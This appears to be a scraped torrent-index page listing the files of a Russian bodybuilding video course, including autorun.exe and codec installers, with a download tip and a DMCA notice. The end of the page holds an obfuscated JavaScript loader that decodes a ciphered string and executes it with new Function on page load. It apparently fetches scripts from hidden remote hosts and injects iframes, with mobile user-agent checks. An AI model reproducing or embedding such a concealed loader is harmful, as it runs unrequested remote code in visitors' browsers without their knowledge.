Тимофеев Дмитрий - Бодибилдинг с нуля! (2010)

mp4   Hot：121   Size：2.28 GB   Created：2017-08-30 22:36:17   Update：2021-12-10 20:48:28  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 0.png 270.82 KB
    Anatomija silowih uprazhnenij.pdf 75.59 MB
    ar500enu.exe 8.41 MB
    AutoPlay/Audio/Click1.ogg 3.78 KB
    AutoPlay/Audio/High1.ogg 3.74 KB
    AutoPlay/Audio/Squisher.ogg 4.51 KB
    AutoPlay/autorun.cdd 720.07 KB
    AutoPlay/Buttons/0001-windows-7.btn 3.47 KB
    AutoPlay/Buttons/0002-royale.btn 3.65 KB
    AutoPlay/Buttons/0003-office-2007.btn 6.41 KB
    AutoPlay/Buttons/0004-luna.btn 3.79 KB
    AutoPlay/Buttons/1041_0038.btn 11.3 KB
    AutoPlay/Buttons/1042_0001.btn 11.41 KB
    AutoPlay/Buttons/1042_0003.btn 22.17 KB
    AutoPlay/Buttons/1042_0044.btn 20.79 KB
    AutoPlay/Buttons/1043_0007.btn 20.68 KB
    AutoPlay/Buttons/1043_0016.btn 18.11 KB
    AutoPlay/Buttons/1043_0017.btn 18.43 KB
    AutoPlay/Buttons/1044_0002.btn 20.56 KB
    AutoPlay/Buttons/1044_0010.btn 22.03 KB
    AutoPlay/Buttons/1044_0015.btn 23.4 KB
    AutoPlay/Buttons/1044_0032.btn 17.78 KB
    AutoPlay/Buttons/x.jpg 906 B
    AutoPlay/Buttons/x3.jpg 710 B
    AutoPlay/Icons/body.ico 16.56 KB
    AutoPlay/Images/1r.jpg 80.56 KB
    AutoPlay/Images/ArnoldPosterforWebsites.jpg 161.38 KB
    AutoPlay/Images/back.png 2.01 KB
    AutoPlay/Images/close.png 2.27 KB
    AutoPlay/Images/hide.png 2.04 KB
    AutoPlay/Images/home.png 2.39 KB
    AutoPlay/Images/vid2.jpg 152.54 KB
    AutoPlay/Images/vid3.jpg 132.91 KB
    AutoPlay/Images/video.png 2.63 KB
    AutoPlay/Images/videotree.jpg 145.03 KB
    AutoPlay/Images/word.png 2.71 KB
    AutoPlay/Images/бонусы.jpg 160.9 KB
    AutoPlay/Images/бонусы1.jpg 125.95 KB
    AutoPlay/Plugins/sb_Windows7.png 5.72 KB
    AutoPlay/Videos/Базовые и изолирующие упражнения.avi 9.4 MB
    AutoPlay/Videos/Бонус урок 1 - Приседание в Смитте.mp4 39.37 MB
    AutoPlay/Videos/Бонус урок 10 - Экстензия из-за головы.mp4 20.7 MB
    AutoPlay/Videos/Бонус урок 11 - Подъем на одной ноге.mp4 26.92 MB
    AutoPlay/Videos/Бонус урок 12 - Пресс скрепка.mp4 13.25 MB
    AutoPlay/Videos/Бонус урок 2 - Плие приседание.mp4 46.79 MB
    AutoPlay/Videos/Бонус урок 3 - Тяга штанги в наклоне к животу.mp4 55.9 MB
    AutoPlay/Videos/Бонус урок 4 - Тяга в хаммере.mp4 40.18 MB
    AutoPlay/Videos/Бонус урок 5 - Отжимание на брусьях.mp4 18.16 MB
    AutoPlay/Videos/Бонус урок 6 - Жим гантелей лежа.mp4 45.48 MB
    AutoPlay/Videos/Бонус урок 7,8 - Жим гантели под углом, Жим Арнольда.mp4 61.59 MB
    AutoPlay/Videos/Бонус урок 9 - Молот.mp4 28.58 MB
    AutoPlay/Videos/Вступление.mp4 7.94 MB
    AutoPlay/Videos/Общая программа верх-низ.avi 13.24 MB
    AutoPlay/Videos/Питание.mp4 181.31 MB
    AutoPlay/Videos/Программы продолжение.avi 18.53 MB
    AutoPlay/Videos/Силовая тренировка.avi 11.48 MB
    AutoPlay/Videos/Советы и рекомендации.mp4 459.89 MB
    AutoPlay/Videos/Спортивное питание.mp4 55.51 MB
    AutoPlay/Videos/Типы телосложений.avi 29.27 MB
    AutoPlay/Videos/Урок 2 - Приседание со штангой.mp4 80.27 MB
    AutoPlay/Videos/видеоинструкция.avi 31.19 MB
    AutoPlay/Videos/урок 1 - Мышечные группы.mp4 4.43 MB
    AutoPlay/Videos/урок 10 - жим сидя на икры.mp4 26.98 MB
    AutoPlay/Videos/урок 11 - Жим в тренажере с плеч.mp4 25.82 MB
    AutoPlay/Videos/урок 12 - Жим гантелей с плеч.mp4 39.54 MB
    AutoPlay/Videos/урок 13 - Махи гантелей в стороны.mp4 46.76 MB
    AutoPlay/Videos/урок 14 - Тяга штанги к груди.mp4 27.55 MB
    AutoPlay/Videos/урок 15 - Махи гантелей перед собой.mp4 12.39 MB
    AutoPlay/Videos/урок 16 - Махи гантелей под углом.mp4 27.32 MB
    AutoPlay/Videos/урок 17 - Отведение гантелей назад.mp4 29.98 MB
    AutoPlay/Videos/урок 18 - Подъем штанги на бицепс.mp4 16.55 MB
    AutoPlay/Videos/урок 19 - Сгибание гантелей на бицепс.mp4 28.76 MB
    AutoPlay/Videos/урок 20 - Жим штанги на лавке скотта.mp4 30.19 MB
    AutoPlay/Videos/урок 21 - Французский жим лежа.mp4 35.8 MB
    AutoPlay/Videos/урок 22 - Разгибание рук у блока хватом сверху.mp4 19.13 MB
    AutoPlay/Videos/урок 23 - Отжимания от скамейки.mp4 29.15 MB
    AutoPlay/Videos/урок 24 - упражнение на лучевую мышцу и кисти рук.mp4 31.99 MB
    AutoPlay/Videos/урок 25 - Подъем ног в висе.mp4 22.4 MB
    AutoPlay/Videos/урок 26 - Римский стул.mp4 13.38 MB
    AutoPlay/Videos/урок 27 - Двойное скручивание.mp4 15.05 MB
    AutoPlay/Videos/урок 28 - Жим штанги лежа.mp4 23.64 MB
    AutoPlay/Videos/урок 29 - Жим штанги под углом.mp4 15.44 MB
    AutoPlay/Videos/урок 3 - жим ногами в пресс машине.mp4 26.99 MB
    AutoPlay/Videos/урок 30 - Разведение гантелей лежа.mp4 21.86 MB
    AutoPlay/Videos/урок 31 - Бабочка.mp4 29.5 MB
    AutoPlay/Videos/урок 32 - Подтягивание широким хватом к груди.mp4 11.24 MB
    AutoPlay/Videos/урок 33 - Подтягивание параллельным хватом.mp4 6.9 MB
    AutoPlay/Videos/урок 34 - Тяга гантели в наклоне.mp4 35.44 MB
    AutoPlay/Videos/урок 35 - Тяга блока к груди широким хватом.mp4 23.23 MB
    AutoPlay/Videos/урок 36 - Тяга блока к животу.mp4 14.45 MB
    AutoPlay/Videos/урок 37 - Гиперэкстензия.mp4 33.33 MB
    AutoPlay/Videos/урок 4 - расгибание ног сидя.mp4 21.45 MB
    AutoPlay/Videos/урок 5 - выпады с гантелями.mp4 35.96 MB
    AutoPlay/Videos/урок 6 - Мертвая тяга.mp4 55.74 MB
    AutoPlay/Videos/урок 7 - сгибание ног лежа.mp4 29.67 MB
    AutoPlay/Videos/урок 8 - гиперэкстензия для ног.mp4 31.41 MB
    AutoPlay/Videos/урок 9 - подъем на носки стоя.mp4 24.94 MB
    autorun.exe 6.55 MB
    autorun.inf 44 B
    body.ico 16.56 KB
    K-Lite_Codec_Pack_604_Mega.exe 25.38 MB
    lua5.1.dll 318.32 KB
    lua51.dll 11 KB
    Базовые и изолирующие упражнения.doc 26 KB
    Общие программы.doc 49.5 KB
    Общие характеристики спортивного питания.pdf 501.07 KB
    Питание.doc 97.5 KB
    Процентное соотношения относительно типа телосложения.doc 38.5 KB
    Углеводы с ГИ.doc 27 KB

Download Info

  • Tips

    “Тимофеев Дмитрий - Бодибилдинг с нуля! (2010)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();